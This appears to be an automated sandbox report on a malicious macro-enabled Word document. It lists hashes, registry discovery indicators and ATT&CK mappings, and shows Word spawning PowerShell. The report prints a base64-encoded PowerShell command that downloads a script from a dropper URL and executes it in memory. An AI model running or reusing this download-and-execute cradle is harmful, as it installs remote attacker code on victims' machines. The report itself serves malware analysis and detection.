7714602b44e30e482f50789f308caf60998c93d667ada525934f104ec4bbf8a1

General

Target

bcdf20e65445ed6bda794d958025e417.docm
Size

16KB
MD5

bcdf20e65445ed6bda794d958025e417
SHA1

6f3f1523627525c8efbb5bfe3e2f612d96801bef
SHA256

332221ec47c7a4dd0296890e05e5c6647993dd1efdb139151e914e7cf22f9e65
SHA512

9769842c9899b9ed2804a4390c40484908813035ca47f7b7ed6a7021337a91701b9daf9efb6ff94730d0b91f45fdd53631b3ac16e5cf1525008bedcfb5ac6210
SSDEEP

384:/iutorSBqsqFxtJsUvWNxt/ZtNNkvJWObKo1nldRN:/XsUyFDJsUv8xllNkvPbKo1fD

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://192.168.45.161:8081/meter.ps1

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exepowershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2620	1036	powershell.exe	WINWORD.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	1480	1036	powershell.exe	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

1036 WINWORD.EXE
1036 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exe

pid process

1480 powershell.exe
2620 powershell.exe
2620 powershell.exe
1480 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1480 powershell.exe
Token: SeDebugPrivilege 2620 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1036 WINWORD.EXE
1036 WINWORD.EXE
1036 WINWORD.EXE
1036 WINWORD.EXE
1036 WINWORD.EXE
1036 WINWORD.EXE
1036 WINWORD.EXE

pid	process
1036	WINWORD.EXE
1036	WINWORD.EXE

pid	process
1480	powershell.exe
2620	powershell.exe
2620	powershell.exe
1480	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1480	powershell.exe
Token: SeDebugPrivilege	2620	powershell.exe

pid	process
1036	WINWORD.EXE
1036	WINWORD.EXE
1036	WINWORD.EXE
1036	WINWORD.EXE
1036	WINWORD.EXE
1036	WINWORD.EXE
1036	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 1036 wrote to memory of 2620	1036	WINWORD.EXE	powershell.exe
PID 1036 wrote to memory of 2620	1036	WINWORD.EXE	powershell.exe
PID 1036 wrote to memory of 1480	1036	WINWORD.EXE	powershell.exe
PID 1036 wrote to memory of 1480	1036	WINWORD.EXE	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bcdf20e65445ed6bda794d958025e417.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADEANgAxADoAOAAwADgAMQAvAG0AZQB0AGUAcgAuAHAAcwAxACcAKQAgAHwAIABJAEUAWAA=
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2620

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADEANgAxADoAOAAwADgAMQAvAG0AZQB0AGUAcgAuAHAAcwAxACcAKQAgAHwAIABJAEUAWAA=
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1480

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
aa8efa56e1e40374bbd21e0e469dceb7

SHA1
33a592799d4898c6efdd29e132f2f76ec51dbc08

SHA256
25eb4f899ae8f90b66b9342781456700d1af487f6f302fe5a727328b026f6bdf

SHA512
ad6de575b83db36b239317e4c46a1eaeb0383d5909a12b69ee2b38798c2b5cb0d19b464f5689037501d20592d92c4d3d84f0e49fdb1c0648b6593481a183f096

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_keygobqy.po2.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1036-139-0x00007FFE7F730000-0x00007FFE7F740000-memory.dmp

Filesize
64KB

Download
memory/1036-137-0x00007FFE81F90000-0x00007FFE81FA0000-memory.dmp

Filesize
64KB

Download
memory/1036-138-0x00007FFE7F730000-0x00007FFE7F740000-memory.dmp

Filesize
64KB

Download
memory/1036-133-0x00007FFE81F90000-0x00007FFE81FA0000-memory.dmp

Filesize
64KB

Download
memory/1036-225-0x00007FFE81F90000-0x00007FFE81FA0000-memory.dmp

Filesize
64KB

Download
memory/1036-136-0x00007FFE81F90000-0x00007FFE81FA0000-memory.dmp

Filesize
64KB

Download
memory/1036-224-0x00007FFE81F90000-0x00007FFE81FA0000-memory.dmp

Filesize
64KB

Download
memory/1036-223-0x00007FFE81F90000-0x00007FFE81FA0000-memory.dmp

Filesize
64KB

Download
memory/1036-222-0x00007FFE81F90000-0x00007FFE81FA0000-memory.dmp

Filesize
64KB

Download
memory/1036-135-0x00007FFE81F90000-0x00007FFE81FA0000-memory.dmp

Filesize
64KB

Download
memory/1036-134-0x00007FFE81F90000-0x00007FFE81FA0000-memory.dmp

Filesize
64KB

Download
memory/1480-194-0x00000195399D0000-0x00000195399E0000-memory.dmp

Filesize
64KB

Download
memory/1480-193-0x00000195399D0000-0x00000195399E0000-memory.dmp

Filesize
64KB

Download
memory/1480-196-0x00000195399D0000-0x00000195399E0000-memory.dmp

Filesize
64KB

Download
memory/1480-182-0x00000195399D0000-0x00000195399E0000-memory.dmp

Filesize
64KB

Download
memory/1480-184-0x00000195399D0000-0x00000195399E0000-memory.dmp

Filesize
64KB

Download
memory/1480-166-0x0000019539AE0000-0x0000019539B02000-memory.dmp

Filesize
136KB

Download
memory/2620-192-0x0000020B2B780000-0x0000020B2B790000-memory.dmp

Filesize
64KB

Download
memory/2620-195-0x0000020B2B780000-0x0000020B2B790000-memory.dmp

Filesize
64KB

Download
memory/2620-191-0x0000020B2B780000-0x0000020B2B790000-memory.dmp

Filesize
64KB

Download
memory/2620-183-0x0000020B2B780000-0x0000020B2B790000-memory.dmp

Filesize
64KB

Download
memory/2620-181-0x0000020B2B780000-0x0000020B2B790000-memory.dmp

Filesize
64KB

Download
memory/2620-180-0x0000020B2B780000-0x0000020B2B790000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads